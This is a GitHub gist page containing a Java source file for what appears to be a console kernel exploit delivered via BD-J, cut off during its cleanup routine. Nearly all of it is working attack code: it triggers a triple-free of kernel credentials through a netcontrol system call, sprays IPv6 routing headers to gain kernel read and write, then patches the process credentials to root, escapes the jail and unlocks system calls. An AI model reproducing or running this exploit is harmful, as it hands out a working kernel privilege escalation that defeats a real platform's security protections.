/ExploitNetControlImpl.java Secret
Created
November 2, 2025 12:49
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Copyright (C) 2025 Andy Nguyen | |
| * | |
| * This software may be modified and distributed under the terms | |
| * of the MIT license. See the LICENSE file for details. | |
| */ | |
| package com.bdjb.exploit.kernel; | |
| import com.bdjb.api.API; | |
| import com.bdjb.api.Buffer; | |
| import com.bdjb.api.Int8; | |
| import com.bdjb.api.Int32; | |
| import com.bdjb.api.Int32Array; | |
| import com.bdjb.api.Int64; | |
| import com.bdjb.api.KernelAPI; | |
| import java.io.PrintWriter; | |
| import java.net.Socket; | |
| public class ExploitNetControlImpl implements ExploitKernelInterface { | |
| private static final String DUP_SYMBOL = "dup"; | |
| private static final String CLOSE_SYMBOL = "close"; | |
| private static final String READ_SYMBOL = "read"; | |
| private static final String READV_SYMBOL = "readv"; | |
| private static final String WRITE_SYMBOL = "write"; | |
| private static final String WRITEV_SYMBOL = "writev"; | |
| private static final String IOCTL_SYMBOL = "ioctl"; | |
| private static final String PIPE_SYMBOL = "pipe"; | |
| private static final String KQUEUE_SYMBOL = "kqueue"; | |
| private static final String SOCKET_SYMBOL = "socket"; | |
| private static final String SOCKETPAIR_SYMBOL = "socketpair"; | |
| private static final String RECVMSG_SYMBOL = "recvmsg"; | |
| private static final String GETSOCKOPT_SYMBOL = "getsockopt"; | |
| private static final String SETSOCKOPT_SYMBOL = "setsockopt"; | |
| private static final String SETUID_SYMBOL = "setuid"; | |
| private static final String GETPID_SYMBOL = "getpid"; | |
| private static final String SCHED_YIELD_SYMBOL = "sched_yield"; | |
| private static final String CPUSET_SETAFFINITY_SYMBOL = "cpuset_setaffinity"; | |
| private static final String RTPRIO_THREAD_SYMBOL = "rtprio_thread"; | |
| private static final String SYS_NETCONTROL_SYMBOL = "__sys_netcontrol"; | |
| private static final int KERNEL_PID = 0; | |
| private static final long SYSCORE_AUTHID = 0x4800000000000007L; | |
| private static final long FIOSETOWN = 0x8004667CL; | |
| private static final int PAGE_SIZE = 0x4000; | |
| private static final int NET_CONTROL_NETEVENT_SET_QUEUE = 0x20000003; | |
| private static final int NET_CONTROL_NETEVENT_CLEAR_QUEUE = 0x20000007; | |
| private static final int AF_UNIX = 1; | |
| private static final int AF_INET6 = 28; | |
| private static final int SOCK_STREAM = 1; | |
| private static final int IPPROTO_IPV6 = 41; | |
| private static final int SO_SNDBUF = 0x1001; | |
| private static final int SOL_SOCKET = 0xffff; | |
| private static final int IPV6_RTHDR = 51; | |
| private static final int IPV6_RTHDR_TYPE_0 = 0; | |
| private static final int RTP_PRIO_REALTIME = 2; | |
| private static final int RTP_SET = 1; | |
| private static final int UIO_READ = 0; | |
| private static final int UIO_WRITE = 1; | |
| private static final int UIO_SYSSPACE = 1; | |
| private static final int CPU_LEVEL_WHICH = 3; | |
| private static final int CPU_WHICH_TID = 1; | |
| private static final int IOV_SIZE = 0x10; | |
| private static final int CPU_SET_SIZE = 0x10; | |
| private static final int PIPEBUF_SIZE = 0x18; | |
| private static final int MSG_HDR_SIZE = 0x30; | |
| private static final int FILEDESCENT_SIZE = 0x30; | |
| private static final int UCRED_SIZE = 0x168; | |
| private static final int RTHDR_TAG = 0x13370000; | |
| private static final int UIO_IOV_NUM = 0x14; | |
| private static final int MSG_IOV_NUM = 0x17; | |
| private static final int IPV6_SOCK_NUM = 64; | |
| private static final int IOV_THREAD_NUM = 4; | |
| private static final int UIO_THREAD_NUM = 4; | |
| private static final int COMMAND_UIO_READ = 0; | |
| private static final int COMMAND_UIO_WRITE = 1; | |
| private static final int MAIN_CORE = 11; | |
| private static final String LOG_IP = "192.168.1.53"; | |
| private static final int LOG_PORT = 1337; | |
| private static final API api; | |
| private static final KernelAPI kapi = KernelAPI.getInstance(); | |
| private static PrintWriter out; | |
| static { | |
| try { | |
| api = API.getInstance(); | |
| } catch (Exception e) { | |
| throw new ExceptionInInitializerError(e); | |
| } | |
| } | |
| private final long dup; | |
| private final long close; | |
| private final long read; | |
| private final long readv; | |
| private final long write; | |
| private final long writev; | |
| private final long ioctl; | |
| private final long pipe; | |
| private final long kqueue; | |
| private final long socket; | |
| private final long socketpair; | |
| private final long recvmsg; | |
| private final long getsockopt; | |
| private final long setsockopt; | |
| private final long setuid; | |
| private final long getpid; | |
| private final long sched_yield; | |
| private final long cpuset_setaffinity; | |
| private final long rtprio_thread; | |
| private final long __sys_netcontrol; | |
| private int[] twins = new int[2]; | |
| private int[] triplets = new int[3]; | |
| private int[] ipv6Socks = new int[IPV6_SOCK_NUM]; | |
| private Buffer sprayRthdr = new Buffer(UCRED_SIZE); | |
| private int sprayRthdrLen; | |
| private Buffer leakRthdr = new Buffer(UCRED_SIZE); | |
| private Int32 leakRthdrLen = new Int32(); | |
| private Buffer msg = new Buffer(MSG_HDR_SIZE); | |
| private Buffer msgIov = new Buffer(MSG_IOV_NUM * IOV_SIZE); | |
| private Buffer uioIovRead = new Buffer(UIO_IOV_NUM * IOV_SIZE); | |
| private Buffer uioIovWrite = new Buffer(UIO_IOV_NUM * IOV_SIZE); | |
| private Int32Array uioSs = new Int32Array(2); | |
| private Int32Array iovSs = new Int32Array(2); | |
| private IovThread[] iovThreads = new IovThread[IOV_THREAD_NUM]; | |
| private UioThread[] uioThreads = new UioThread[UIO_THREAD_NUM]; | |
| private WorkerState iovState = new WorkerState(IOV_THREAD_NUM); | |
| private WorkerState uioState = new WorkerState(UIO_THREAD_NUM); | |
| private int uafSock; | |
| private int uioSs0; | |
| private int uioSs1; | |
| private int iovSs0; | |
| private int iovSs1; | |
| private long kq_fdp; | |
| private long fdt_ofiles; | |
| private long allproc; | |
| private Buffer tmp = new Buffer(PAGE_SIZE); | |
| public ExploitNetControlImpl() { | |
| dup = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, DUP_SYMBOL); | |
| close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL); | |
| read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); | |
| readv = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READV_SYMBOL); | |
| write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); | |
| writev = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITEV_SYMBOL); | |
| ioctl = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, IOCTL_SYMBOL); | |
| pipe = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, PIPE_SYMBOL); | |
| kqueue = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, KQUEUE_SYMBOL); | |
| socket = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SOCKET_SYMBOL); | |
| socketpair = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SOCKETPAIR_SYMBOL); | |
| recvmsg = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, RECVMSG_SYMBOL); | |
| getsockopt = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, GETSOCKOPT_SYMBOL); | |
| setsockopt = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SETSOCKOPT_SYMBOL); | |
| setuid = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SETUID_SYMBOL); | |
| getpid = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, GETPID_SYMBOL); | |
| sched_yield = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCHED_YIELD_SYMBOL); | |
| cpuset_setaffinity = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CPUSET_SETAFFINITY_SYMBOL); | |
| rtprio_thread = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, RTPRIO_THREAD_SYMBOL); | |
| __sys_netcontrol = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SYS_NETCONTROL_SYMBOL); | |
| if (dup == 0 | |
| || close == 0 | |
| || read == 0 | |
| || readv == 0 | |
| || write == 0 | |
| || writev == 0 | |
| || ioctl == 0 | |
| || pipe == 0 | |
| || kqueue == 0 | |
| || socket == 0 | |
| || socketpair == 0 | |
| || recvmsg == 0 | |
| || getsockopt == 0 | |
| || setsockopt == 0 | |
| || setuid == 0 | |
| || getpid == 0 | |
| || sched_yield == 0 | |
| || cpuset_setaffinity == 0 | |
| || rtprio_thread == 0 | |
| || __sys_netcontrol == 0) { | |
| throw new IllegalStateException("symbols not found"); | |
| } | |
| // Prepare spray buffer. | |
| sprayRthdrLen = buildRthdr(sprayRthdr, UCRED_SIZE); | |
| // Prepare msg iov buffer. | |
| msg.putLong(0x10, msgIov.address()); // msg_iov | |
| msg.putLong(0x18, MSG_IOV_NUM); // msg_iovlen | |
| Buffer dummyBuffer = new Buffer(0x1000); | |
| dummyBuffer.fill((byte) 0x41); | |
| uioIovRead.putLong(0x00, dummyBuffer.address()); | |
| uioIovWrite.putLong(0x00, dummyBuffer.address()); | |
| } | |
| public static void log(String msg) { | |
| out.write(msg + "\n"); | |
| out.flush(); | |
| } | |
| private int dup(int fd) { | |
| return (int) api.call(dup, fd); | |
| } | |
| private int close(int fd) { | |
| return (int) api.call(close, fd); | |
| } | |
| private long read(int fd, Buffer buf, long nbytes) { | |
| return api.call(read, fd, buf != null ? buf.address() : 0, nbytes); | |
| } | |
| private long readv(int fd, Buffer iov, int iovcnt) { | |
| return api.call(readv, fd, iov != null ? iov.address() : 0, iovcnt); | |
| } | |
| private long write(int fd, Buffer buf, long nbytes) { | |
| return api.call(write, fd, buf != null ? buf.address() : 0, nbytes); | |
| } | |
| private long writev(int fd, Buffer iov, int iovcnt) { | |
| return api.call(writev, fd, iov != null ? iov.address() : 0, iovcnt); | |
| } | |
| private int ioctl(int fd, long request, long arg0) { | |
| return (int) api.call(ioctl, fd, request, arg0); | |
| } | |
| private int pipe(Int32Array fildes) { | |
| return (int) api.call(pipe, fildes != null ? fildes.address() : 0); | |
| } | |
| private int kqueue() { | |
| return (int) api.call(kqueue); | |
| } | |
| private int socket(int domain, int type, int protocol) { | |
| return (int) api.call(socket, domain, type, protocol); | |
| } | |
| private int socketpair(int domain, int type, int protocol, Int32Array sv) { | |
| return (int) api.call(socketpair, domain, type, protocol, sv != null ? sv.address() : 0); | |
| } | |
| private int recvmsg(int s, Buffer msg, int flags) { | |
| return (int) api.call(recvmsg, s, msg != null ? msg.address() : 0, flags); | |
| } | |
| private int getsockopt(int s, int level, int optname, Buffer optval, Int32 optlen) { | |
| return (int) | |
| api.call( | |
| getsockopt, | |
| s, | |
| level, | |
| optname, | |
| optval != null ? optval.address() : 0, | |
| optlen != null ? optlen.address() : 0); | |
| } | |
| private int setsockopt(int s, int level, int optname, Buffer optval, int optlen) { | |
| return (int) | |
| api.call(setsockopt, s, level, optname, optval != null ? optval.address() : 0, optlen); | |
| } | |
| private int setuid(int uid) { | |
| return (int) api.call(setuid, uid); | |
| } | |
| private int getpid() { | |
| return (int) api.call(getpid); | |
| } | |
| private int sched_yield() { | |
| return (int) api.call(sched_yield); | |
| } | |
| private int cpuset_setaffinity(int level, int which, long id, long setsize, Buffer mask) { | |
| return (int) | |
| api.call(cpuset_setaffinity, level, which, id, setsize, mask != null ? mask.address() : 0); | |
| } | |
| private int rtprio_thread(int function, int lwpid, long rtp) { | |
| return (int) api.call(rtprio_thread, function, lwpid, rtp); | |
| } | |
| private int __sys_netcontrol(int ifindex, int cmd, Buffer buf, int size) { | |
| return (int) api.call(__sys_netcontrol, ifindex, cmd, buf != null ? buf.address() : 0, size); | |
| } | |
| private int buildRthdr(Buffer buf, int size) { | |
| int len = ((size >> 3) - 1) & ~1; | |
| buf.putByte(0x00, (byte) 0); // ip6r_nxt | |
| buf.putByte(0x01, (byte) len); // ip6r_len | |
| buf.putByte(0x02, (byte) IPV6_RTHDR_TYPE_0); // ip6r_type | |
| buf.putByte(0x03, (byte) (len >> 1)); // ip6r_segleft | |
| return (len + 1) << 3; | |
| } | |
| private int getRthdr(int s, Buffer buf, Int32 len) { | |
| return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); | |
| } | |
| private int setRthdr(int s, Buffer buf, int len) { | |
| return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); | |
| } | |
| private int freeRthdr(int s) { | |
| return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, null, 0); | |
| } | |
| private int cpusetSetAffinity(int core) { | |
| Buffer mask = new Buffer(CPU_SET_SIZE); | |
| mask.putShort(0x00, (short) (1 << core)); | |
| return cpuset_setaffinity( | |
| CPU_LEVEL_WHICH, CPU_WHICH_TID, 0xFFFFFFFFFFFFFFFFL, CPU_SET_SIZE, mask); | |
| } | |
| private int rtprioThread(int value) { | |
| Buffer prio = new Buffer(0x4); | |
| prio.putShort(0x00, (short) RTP_PRIO_REALTIME); | |
| prio.putShort(0x02, (short) value); | |
| return rtprio_thread(RTP_SET, 0, prio.address()); | |
| } | |
| private void findTwins() { | |
| while (true) { | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| sprayRthdr.putInt(0x04, RTHDR_TAG | i); | |
| setRthdr(ipv6Socks[i], sprayRthdr, sprayRthdrLen); | |
| } | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| leakRthdrLen.set(Int64.SIZE); | |
| getRthdr(ipv6Socks[i], leakRthdr, leakRthdrLen); | |
| int val = leakRthdr.getInt(0x04); | |
| int j = val & 0xFFFF; | |
| if ((val & 0xFFFF0000) == RTHDR_TAG && i != j) { | |
| twins[0] = i; | |
| twins[1] = j; | |
| return; | |
| } | |
| } | |
| } | |
| } | |
| private int findTriplet(int master, int other) { | |
| while (true) { | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| if (i == master || i == other) { | |
| continue; | |
| } | |
| sprayRthdr.putInt(0x04, RTHDR_TAG | i); | |
| setRthdr(ipv6Socks[i], sprayRthdr, sprayRthdrLen); | |
| } | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| if (i == master || i == other) { | |
| continue; | |
| } | |
| leakRthdrLen.set(Int64.SIZE); | |
| getRthdr(ipv6Socks[master], leakRthdr, leakRthdrLen); | |
| int val = leakRthdr.getInt(0x04); | |
| int j = val & 0xFFFF; | |
| if ((val & 0xFFFF0000) == RTHDR_TAG && j != master && j != other) { | |
| return j; | |
| } | |
| } | |
| } | |
| } | |
| private void triggerUcredTripleFree() { | |
| Buffer setBuf = new Buffer(8); | |
| Buffer clearBuf = new Buffer(8); | |
| // Prepare msg iov spray. Set 1 as iov_base as it will be interpreted as cr_refcnt. | |
| msgIov.putLong(0x00, 1); // iov_base | |
| msgIov.putLong(0x08, Int8.SIZE); // iov_len | |
| // Create dummy socket to be registered and then closed. | |
| int dummySock = socket(AF_UNIX, SOCK_STREAM, 0); | |
| // Register dummy socket. | |
| setBuf.putInt(0x00, dummySock); | |
| __sys_netcontrol(-1, NET_CONTROL_NETEVENT_SET_QUEUE, setBuf, setBuf.size()); | |
| // Close the dummy socket. | |
| close(dummySock); | |
| // Allocate a new ucred. | |
| setuid(1); | |
| // Reclaim the file descriptor. | |
| uafSock = socket(AF_UNIX, SOCK_STREAM, 0); | |
| // Free the previous ucred. Now uafSock's cr_refcnt of f_cred is 1. | |
| setuid(1); | |
| // Unregister dummy socket and free the file and ucred. | |
| clearBuf.putInt(0x00, uafSock); | |
| __sys_netcontrol(-1, NET_CONTROL_NETEVENT_CLEAR_QUEUE, clearBuf, clearBuf.size()); | |
| // Set cr_refcnt back to 1. | |
| for (int i = 0; i < 32; i++) { | |
| // Reclaim with iov. | |
| iovState.signalWork(0); | |
| sched_yield(); | |
| // Release buffers. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| } | |
| // Double free ucred. | |
| // Note: Only dup works because it does not check f_hold. | |
| close(dup(uafSock)); | |
| // Find twins. | |
| findTwins(); | |
| log("[*] Triple freeing..."); | |
| // Free one. | |
| freeRthdr(ipv6Socks[twins[1]]); | |
| // Set cr_refcnt back to 1. | |
| while (true) { | |
| // Reclaim with iov. | |
| iovState.signalWork(0); | |
| sched_yield(); | |
| leakRthdrLen.set(Int64.SIZE); | |
| getRthdr(ipv6Socks[twins[0]], leakRthdr, leakRthdrLen); | |
| if (leakRthdr.getInt(0x00) == 1) { | |
| break; | |
| } | |
| // Release iov spray. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| } | |
| triplets[0] = twins[0]; | |
| // Triple free ucred. | |
| close(dup(uafSock)); | |
| // Find triplet. | |
| triplets[1] = findTriplet(triplets[0], -1); | |
| // Release iov spray. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| // Find triplet. | |
| triplets[2] = findTriplet(triplets[0], triplets[1]); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| } | |
| private void leakKqueue() { | |
| log("[*] Leaking kqueue..."); | |
| // Free one. | |
| freeRthdr(ipv6Socks[triplets[1]]); | |
| // Leak kqueue. | |
| int kq = 0; | |
| while (true) { | |
| kq = kqueue(); | |
| // Leak with other rthdr. | |
| leakRthdrLen.set(0x100); | |
| getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); | |
| if (leakRthdr.getLong(0x08) == 0x1430000) { | |
| break; | |
| } | |
| close(kq); | |
| } | |
| kq_fdp = leakRthdr.getLong(0xA8); | |
| log("[+] kq_fdp: " + Long.toHexString(kq_fdp)); | |
| // Close kqueue to free buffer. | |
| close(kq); | |
| // Find triplet. | |
| triplets[1] = findTriplet(triplets[0], triplets[2]); | |
| } | |
| private void buildUio(Buffer uio, long uio_iov, long uio_td, boolean read, long addr, long size) { | |
| uio.putLong(0x00, uio_iov); // uio_iov | |
| uio.putLong(0x08, UIO_IOV_NUM); // uio_iovcnt | |
| uio.putLong(0x10, 0xFFFFFFFFFFFFFFFFL); // uio_offset | |
| uio.putLong(0x18, size); // uio_resid | |
| uio.putInt(0x20, UIO_SYSSPACE); // uio_segflg | |
| uio.putInt(0x24, read ? UIO_WRITE : UIO_READ); // uio_segflg | |
| uio.putLong(0x28, uio_td); // uio_td | |
| uio.putLong(0x30, addr); // iov_base | |
| uio.putLong(0x38, size); // iov_len | |
| } | |
| private Buffer kreadSlow(long addr, int size) { | |
| // Prepare leak buffers. | |
| Buffer[] leakBuffers = new Buffer[UIO_THREAD_NUM]; | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| leakBuffers[i] = new Buffer(size); | |
| } | |
| // Set send buf size. | |
| Int32 bufSize = new Int32(size); | |
| setsockopt(uioSs1, SOL_SOCKET, SO_SNDBUF, bufSize, bufSize.size()); | |
| // Fill queue. | |
| write(uioSs1, tmp, size); | |
| // Set iov length | |
| uioIovRead.putLong(0x08, size); | |
| // Free one. | |
| freeRthdr(ipv6Socks[triplets[1]]); | |
| // Reclaim with uio. | |
| while (true) { | |
| uioState.signalWork(COMMAND_UIO_READ); | |
| sched_yield(); | |
| // Leak with other rthdr. | |
| leakRthdrLen.set(0x10); | |
| getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); | |
| if (leakRthdr.getInt(0x08) == UIO_IOV_NUM) { | |
| break; | |
| } | |
| // Wake up all threads. | |
| read(uioSs0, tmp, size); | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| read(uioSs0, leakBuffers[i], leakBuffers[i].size()); | |
| } | |
| uioState.waitForFinished(); | |
| // Fill queue. | |
| write(uioSs1, tmp, size); | |
| } | |
| long uio_iov = leakRthdr.getLong(0x00); | |
| // Prepare uio reclaim buffer. | |
| buildUio(msgIov, uio_iov, 0, true, addr, size); | |
| // Free second one. | |
| freeRthdr(ipv6Socks[triplets[2]]); | |
| // Reclaim uio with iov. | |
| while (true) { | |
| // Reclaim with iov. | |
| iovState.signalWork(0); | |
| sched_yield(); | |
| // Leak with other rthdr. | |
| leakRthdrLen.set(0x40); | |
| getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); | |
| if (leakRthdr.getInt(0x20) == UIO_SYSSPACE) { | |
| break; | |
| } | |
| // Release iov spray. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| } | |
| // Wake up all threads. | |
| read(uioSs0, tmp, size); | |
| // Read the results now. | |
| Buffer leakBuffer = null; | |
| // Get leak. | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| read(uioSs0, leakBuffers[i], leakBuffers[i].size()); | |
| if (leakBuffers[i].getLong(0x00) != 0x4141414141414141L) { | |
| // Find triplet. | |
| triplets[1] = findTriplet(triplets[0], -1); | |
| leakBuffer = leakBuffers[i]; | |
| } | |
| } | |
| uioState.waitForFinished(); | |
| // Release iov spray. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| // Find triplet. | |
| triplets[2] = findTriplet(triplets[0], triplets[1]); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| return leakBuffer; | |
| } | |
| private void kwriteSlow(long addr, Buffer buffer) { | |
| // Set send buf size. | |
| Int32 bufSize = new Int32(buffer.size()); | |
| setsockopt(uioSs1, SOL_SOCKET, SO_SNDBUF, bufSize, bufSize.size()); | |
| // Set iov length. | |
| uioIovWrite.putLong(0x08, buffer.size()); | |
| // Free first triplet. | |
| freeRthdr(ipv6Socks[triplets[1]]); | |
| // Reclaim with uio. | |
| while (true) { | |
| uioState.signalWork(COMMAND_UIO_WRITE); | |
| sched_yield(); | |
| // Leak with other rthdr. | |
| leakRthdrLen.set(0x10); | |
| getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); | |
| if (leakRthdr.getInt(0x08) == UIO_IOV_NUM) { | |
| break; | |
| } | |
| // Wake up all threads. | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| write(uioSs1, buffer, buffer.size()); | |
| } | |
| uioState.waitForFinished(); | |
| } | |
| long uio_iov = leakRthdr.getLong(0x00); | |
| // Prepare uio reclaim buffer. | |
| buildUio(msgIov, uio_iov, 0, false, addr, buffer.size()); | |
| // Free second one. | |
| freeRthdr(ipv6Socks[triplets[2]]); | |
| // Reclaim uio with iov. | |
| while (true) { | |
| // Reclaim with iov. | |
| iovState.signalWork(0); | |
| sched_yield(); | |
| // Leak with other rthdr. | |
| leakRthdrLen.set(0x40); | |
| getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); | |
| if (leakRthdr.getInt(0x20) == UIO_SYSSPACE) { | |
| break; | |
| } | |
| // Release iov spray. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| } | |
| // Corrupt data. | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| write(uioSs1, buffer, buffer.size()); | |
| } | |
| // Find triplet. | |
| triplets[1] = findTriplet(triplets[0], -1); | |
| uioState.waitForFinished(); | |
| // Release iov spray. | |
| write(iovSs1, tmp, Int8.SIZE); | |
| // Find triplet. | |
| triplets[2] = findTriplet(triplets[0], triplets[1]); | |
| iovState.waitForFinished(); | |
| read(iovSs0, tmp, Int8.SIZE); | |
| } | |
| private long kreadSlow64(long address) { | |
| return kreadSlow(address, Int64.SIZE).getLong(0x00); | |
| } | |
| private long fget(int fd) { | |
| return kapi.kread64(fdt_ofiles + fd * FILEDESCENT_SIZE); | |
| } | |
| private long findAllProc() { | |
| Int32Array pipeFd = new Int32Array(2); | |
| pipe(pipeFd); | |
| Int32 currPid = new Int32(); | |
| currPid.set(getpid()); | |
| ioctl(pipeFd.get(0), FIOSETOWN, currPid.address()); | |
| long fp = fget(pipeFd.get(0)); | |
| long f_data = kapi.kread64(fp + 0x00); | |
| long pipe_sigio = kapi.kread64(f_data + 0xd8); | |
| long p = kapi.kread64(pipe_sigio); | |
| while ((p & 0xFFFFFFFF00000000L) != 0xFFFFFFFF00000000L) { | |
| p = kapi.kread64(p + 0x08); // p_list.le_prev | |
| } | |
| close(pipeFd.get(1)); | |
| close(pipeFd.get(0)); | |
| return p; | |
| } | |
| private long pfind(int pid) { | |
| long p = kapi.kread64(allproc); | |
| while (p != 0) { | |
| if (kapi.kread32(p + 0xbc) == pid) { | |
| break; | |
| } | |
| p = kapi.kread64(p + 0x00); // p_list.le_next | |
| } | |
| return p; | |
| } | |
| private void fhold(long fp) { | |
| kapi.kwrite32(fp + 0x28, kapi.kread32(fp + 0x28) + 1); // f_count | |
| } | |
| private void removeRthrFromSocket(int fd) { | |
| long fp = fget(fd); | |
| long f_data = kapi.kread64(fp + 0x00); | |
| long so_pcb = kapi.kread64(f_data + 0x18); | |
| long in6p_outputopts = kapi.kread64(so_pcb + 0x120); | |
| kapi.kwrite64(in6p_outputopts + 0x70, 0); // ip6po_rhi_rthdr | |
| } | |
| private void removeUafFile() { | |
| long uafFile = fget(uafSock); | |
| log("[+] uafFile: " + Long.toHexString(uafFile)); | |
| // Remove uaf sock. | |
| kapi.kwrite64(fdt_ofiles + uafSock * FILEDESCENT_SIZE, 0); | |
| // Remove triple freed file from uaf sock. | |
| int removed = 0; | |
| Int32Array ss = new Int32Array(2); | |
| for (int i = 0; i < 0x1000; i++) { | |
| int s = socket(AF_UNIX, SOCK_STREAM, 0); | |
| if (fget(s) == uafFile) { | |
| kapi.kwrite64(fdt_ofiles + s * FILEDESCENT_SIZE, 0); | |
| removed++; | |
| } | |
| close(s); | |
| if (removed == 3) { | |
| log("[+] Cleaned up uafFile after iterations: " + i); | |
| break; | |
| } | |
| } | |
| } | |
| private long getRootVnode() { | |
| long p = pfind(KERNEL_PID); | |
| long p_fd = kapi.kread64(p + 0x48); | |
| long rootvnode = kapi.kread64(p_fd + 0x08); | |
| return rootvnode; | |
| } | |
| private long getPrison0() { | |
| long p = pfind(KERNEL_PID); | |
| long p_ucred = kapi.kread64(p + 0x40); | |
| long prison0 = kapi.kread64(p_ucred + 0x30); | |
| return prison0; | |
| } | |
| private void jailbreak() { | |
| long p = pfind(getpid()); | |
| // Patch credentials and capabilities. | |
| long prison0 = getPrison0(); | |
| long p_ucred = kapi.kread64(p + 0x40); | |
| kapi.kwrite32(p_ucred + 0x04, 0); // cr_uid | |
| kapi.kwrite32(p_ucred + 0x08, 0); // cr_ruid | |
| kapi.kwrite32(p_ucred + 0x0C, 0); // cr_svuid | |
| kapi.kwrite32(p_ucred + 0x10, 1); // cr_ngroups | |
| kapi.kwrite32(p_ucred + 0x14, 0); // cr_rgid | |
| kapi.kwrite32(p_ucred + 0x18, 0); // cr_svgid | |
| kapi.kwrite64(p_ucred + 0x30, prison0); // cr_prison | |
| kapi.kwrite64(p_ucred + 0x58, SYSCORE_AUTHID); // cr_sceAuthId | |
| kapi.kwrite64(p_ucred + 0x60, 0xFFFFFFFFFFFFFFFFL); // cr_sceCaps[0] | |
| kapi.kwrite64(p_ucred + 0x68, 0xFFFFFFFFFFFFFFFFL); // cr_sceCaps[1] | |
| kapi.kwrite8(p_ucred + 0x83, (byte) 0x80); // cr_sceAttr[0] | |
| // Allow root file system access. | |
| long rootvnode = getRootVnode(); | |
| long p_fd = kapi.kread64(p + 0x48); | |
| kapi.kwrite64(p_fd + 0x08, rootvnode); // fd_cdir | |
| kapi.kwrite64(p_fd + 0x10, rootvnode); // fd_rdir | |
| kapi.kwrite64(p_fd + 0x18, 0); // fd_jdir | |
| // Allow syscall from everywhere. | |
| long p_dynlib = kapi.kread64(p + 0x3e8); | |
| kapi.kwrite64(p_dynlib + 0xf0, 0); // start | |
| kapi.kwrite64(p_dynlib + 0xf8, 0xFFFFFFFFFFFFFFFFL); // end | |
| // Allow dlsym. | |
| long dynlib_eboot = kapi.kread64(p_dynlib + 0x00); | |
| long eboot_segments = kapi.kread64(dynlib_eboot + 0x40); | |
| kapi.kwrite64(eboot_segments + 0x08, 0); // addr | |
| kapi.kwrite64(eboot_segments + 0x10, 0xFFFFFFFFFFFFFFFFL); // size | |
| } | |
| private void setup() { | |
| // Create socket pair for uio spraying. | |
| socketpair(AF_UNIX, SOCK_STREAM, 0, uioSs); | |
| uioSs0 = uioSs.get(0); | |
| uioSs1 = uioSs.get(1); | |
| // Create socket pair for iov spraying. | |
| socketpair(AF_UNIX, SOCK_STREAM, 0, iovSs); | |
| iovSs0 = iovSs.get(0); | |
| iovSs1 = iovSs.get(1); | |
| // Create iov threads. | |
| for (int i = 0; i < IOV_THREAD_NUM; i++) { | |
| iovThreads[i] = new IovThread(iovState); | |
| iovThreads[i].start(); | |
| } | |
| // Create uio threads. | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| uioThreads[i] = new UioThread(uioState); | |
| uioThreads[i].start(); | |
| } | |
| // Set up sockets for spraying. | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| ipv6Socks[i] = socket(AF_INET6, SOCK_STREAM, 0); | |
| } | |
| // Initialize pktopts. | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| freeRthdr(ipv6Socks[i]); | |
| } | |
| } | |
| private void cleanup() throws InterruptedException { | |
| // Close all files. | |
| for (int i = 0; i < ipv6Socks.length; i++) { | |
| close(ipv6Socks[i]); | |
| } | |
| close(uioSs1); | |
| close(uioSs0); | |
| close(iovSs1); | |
| close(iovSs0); | |
| // Stop uio threads. | |
| for (int i = 0; i < UIO_THREAD_NUM; i++) { | |
| uioThreads[i].interrupt(); | |
| uioThreads[i].join(); | |
| } | |
| // Stop iov threads. | |
| for (int i = 0; i < IOV_THREAD_NUM; i++) { | |
| iovThreads[i].interrupt(); | |
| iovThreads[i].join(); | |
